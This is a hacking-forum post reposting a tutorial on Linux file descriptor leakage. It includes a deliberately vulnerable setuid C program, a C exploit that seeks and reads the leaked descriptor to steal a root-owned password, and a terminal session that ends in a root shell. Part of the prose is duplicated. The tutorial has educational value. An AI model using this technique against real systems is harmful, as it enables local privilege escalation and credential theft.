Linux and File descriptors leakage 09-15-2012, 12:02 PM
#1
When a process opens a file it creates a file descriptor which can be found at /proc/PID/fd/ these file descriptors are integers that goes as follow.
0 -> stdin
1 -> stdout
2 -> stderr
and any extra file descriptor opened will take the next number 3,4,..etc. The file descriptor can be socket, directory, symlink, FIFO and many others. A common mistake that programmers does when writing their code is forgetting to close the file descriptor after dealing with it which can cause a vulnerability that can be exploitable.
Lets take an example of a regular file descriptor leakage on a simple code so it’s much easier to grasp the idea. Here’s the code of getroot.c
All it does is taking the password from the user, compares it with that in the file ‘./password’ if they’re the same then it executes /bin/sh if they’re not the same then it drops the privilege and executes /bin/sh.
What it doesn’t do is that it doesn’t close the third file descriptors which points to ./password file which we don’t have permission to read and it’s owned by root:root. The file descriptor will be leaked to the given ‘/bin/sh’ because execve() will clone the open file descriptors from the parent to the child ‘new process’ leaving the leaked file vulnerable to be read by unprivileged users.
but still, we won’t be able to read the leaked file descriptor even though we own it. It’s because getroot read the file and seek’d from the beginning to the end. If we want to read it we have to seek to the beginning of the file descriptor then we’ll be able to read its contents. Here’s a simple code that exploits it
So lets try it
I am not the author of this tutorial, but I think it is recomended to know.
Cya guys. <3
0 -> stdin
1 -> stdout
2 -> stderr
and any extra file descriptor opened will take the next number 3,4,..etc. The file descriptor can be socket, directory, symlink, FIFO and many others. A common mistake that programmers does when writing their code is forgetting to close the file descriptor after dealing with it which can cause a vulnerability that can be exploitable.
Lets take an example of a regular file descriptor leakage on a simple code so it’s much easier to grasp the idea. Here’s the code of getroot.c
Code:
#include
#include
#include
#include
#include
#define PASSFILE "./password"
#define VSIZE 32
int
main(int argc, char **argv){
FILE *fd;
char userinput[VSIZE];
char fileinput[VSIZE];
if (argc != 2) {
fprintf(stdout, "%s \n", argv[0]);
exit(EXIT_FAILURE);
}
strncpy(userinput, argv[1], sizeof(userinput)-1);
if (!(fd = fopen(PASSFILE, "r"))) {
perror("fopen()");
exit(EXIT_FAILURE);
}
fcntl(3,FD_CLOEXEC);
fgets(fileinput, sizeof(fileinput)-1, fd);
fileinput[strlen(fileinput)-1] = '\0';
fprintf(stdout,"Access ");
if(strcmp(userinput, fileinput) != 0) {
setreuid(getuid(), getuid());
fflush(stdout);
fprintf(stderr,"Denied...\n");
execve("/bin/sh", NULL, NULL);
return EXIT_FAILURE;
}
fprintf(stdout,"Granted :D...\n");
execve("/bin/sh", NULL, NULL);
return EXIT_SUCCESS;
}Code:
[qnix:/0x80]$ ls -la getroot password
-r-sr-x--- 1 root qnix 8966 2012-01-11 17:32 getroot
-r-------- 1 root root 11 2012-01-11 15:00 passwordAll it does is taking the password from the user, compares it with that in the file ‘./password’ if they’re the same then it executes /bin/sh if they’re not the same then it drops the privilege and executes /bin/sh.
What it doesn’t do is that it doesn’t close the third file descriptors which points to ./password file which we don’t have permission to read and it’s owned by root:root. The file descriptor will be leaked to the given ‘/bin/sh’ because execve() will clone the open file descriptors from the parent to the child ‘new process’ leaving the leaked file vulnerable to be read by unprivileged users.
Code:
[qnix:/0x80]$ ./getroot whatsthepassword
Access Denied...
$ cd /proc/self/fd
$ ls -la 3
lr-x------ 1 qnix qnix 64 Jan 11 17:51 3 -> /0x80/passwordbut still, we won’t be able to read the leaked file descriptor even though we own it. It’s because getroot read the file and seek’d from the beginning to the end. If we want to read it we have to seek to the beginning of the file descriptor then we’ll be able to read its contents. Here’s a simple code that exploits it
Code:
#include
#include
#include
#include
#define FD 3
#define VSIZE 256
int
main() {
int index;
char buffer[VSIZE];
char cmd[VSIZE];
sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);
system(cmd);
lseek(FD, 0, SEEK_SET);
while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0) {
buffer[index-1] = '\0';
fprintf(stdout,"[+] Password : %s\n", buffer);
return EXIT_SUCCESS;
}
fprintf(stderr,"[-] Password not found\n");
return EXIT_FAILURE;
}So lets try it
Code:
[qnix:/0x80]$ gcc exploit.c -o exploit
[qnix:/0x80]$ ./getroot somepassword
Access Denied...
$ ./exploit
lr-x------ 1 qnix qnix 64 Jan 11 18:01 /proc/29413/fd/3 -> /0x80/password
[+] Password : Asdsa123#!@$$ASz
$ ./getroot Asdsa123#!@$$ASz
Access Granted :D...
# whoami
rootI am not the author of this tutorial, but I think it is recomended to know.

Cya guys. <3
![[Image: 1308031172619.gif?w=356&h=140]](http://thechive.files.wordpress.com/2011/06/1308031172619.gif?w=356&h=140)
Don't learn to hack, hack to learn.



![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: Wfxdx.png]](http://i.imgur.com/Wfxdx.png)